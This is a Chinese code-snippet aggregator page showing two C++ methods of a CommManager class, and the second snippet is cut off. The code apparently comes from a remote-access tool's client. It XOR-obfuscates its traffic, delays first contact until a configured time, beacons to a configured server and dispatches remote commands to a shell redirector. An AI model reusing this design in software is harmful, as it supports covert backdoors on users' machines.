本文整理汇总了C++中CommData::Parse方法的典型用法代码示例。如果您正苦于以下问题:C++ CommData::Parse方法的具体用法?C++ CommData::Parse怎么用?C++ CommData::Parse使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类CommData
的用法示例。
在下文中一共展示了CommData::Parse方法的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: HandleMessage
BOOL CommManager::HandleMessage( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, CPGUID& cpguid )
{
ByteBuffer dataBuffer;
dataBuffer.Alloc(dwDataSize);
if (! XorFibonacciCrypt(pData, dwDataSize, (LPBYTE)dataBuffer, 2, 7))
{
return FALSE;
}
BOOL bRet = m_cp.AddRecvPacket(dataBuffer, dataBuffer.Size(), commName, &cpguid);
if (m_cp.HasReceivedMsg())
{
CPGUID from;
ByteBuffer recvMsgData;
if (m_cp.RecvMsg(recvMsgData, from))
{
//解析数据
CommData recvCommdata;
if (recvCommdata.Parse(recvMsgData, recvMsgData.Size()))
{
debugLog(_T("recv msg msgid[%I64u] serial[%I64u]"), recvCommdata.GetMsgID(), recvCommdata.GetSerialID());
tstring clientid;
CutupProtocol::CPGuid2Str(from, clientid);
recvCommdata.SetClientID(clientid.c_str());
SetMessageToAnswer(recvCommdata);
HandleMsgByMsgHandler(recvCommdata.GetMsgID(), recvCommdata);
}
else
{
errorLog(_T("parse message failed"));
}
}
}
if (bRet)
{
//更新心跳数据
tstring clientid;
CutupProtocol::CPGuid2Str(cpguid, clientid);
UpdateHeartbeat(clientid.c_str(), fromAddr);
}
return bRet;
}
示例2: MessageSenderProc
void CommManager::MessageSenderProc()
{
Wow64FsRedirectionDisabler disabler;
disabler.Disable();
DWORD sendTestTimeMS = 0;
BOOL bFirstConnect = TRUE;
BOOL bWaitUntil = (g_ConfigInfo.nFirstConnectHour >= 0 && g_ConfigInfo.nFirstConnectMinute >= 0);
ByteBuffer recvByteData;
while (m_bWorking)
{
if (! m_bWorking) break;
Sleep(m_dwMsgIntervalMS);
//如果配置了第一次上线时间,则需要检测并等待
if (bFirstConnect && bWaitUntil)
{
static int iCount = 0;
iCount++;
if (iCount < 5) continue;
iCount = 0;
SYSTEMTIME now;
::GetLocalTime(&now);
if (now.wHour == g_ConfigInfo.nFirstConnectHour && now.wMinute == g_ConfigInfo.nFirstConnectMinute)
{
bFirstConnect = FALSE;
}
else
{
continue;
}
}
//从CutupProtocol获取待发送数据
ByteBuffer toSendByteData;
COMM_NAME commName;
if (! GetMessageToSend( commName ,toSendByteData))
{
CreateEmptyPacket(toSendByteData);
commName = COMMNAME_DEFAULT;
}
ULONG targetIP = 0;
BOOL ret = FALSE;
do
{
ret = MySocket::IPOrHostname2IP(a2t(g_ConfigInfo.szAddr),targetIP);
} while (!ret);
ret = SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData);
if (! ret)
{
CmdRedirector &cmd = Manager::GetInstanceRef().m_cmdRedirector;
if (cmd.IsChildRunning())
cmd.Stop();
errorLog(_T("sendrecv msg [%d] failed"), commName);
continue;
}
if (!IsConnected())
{
ConnectedNotify();
}
CommData recvData;
ret = recvData.Parse(recvByteData, recvByteData.Size());
if (!ret )
{
errorLog(_T("parse received msg failed"));
continue;
}
MSGID msgid = recvData.GetMsgID();
if (INVALID_MSGID == msgid)
{
continue;
}
if ( MSGID_AVAILABLE_COMM == msgid )
{
continue;
}
//查询消息处理者
FnExecuteRCCommand fnCallback = NULL;
//.........这里部分代码省略.........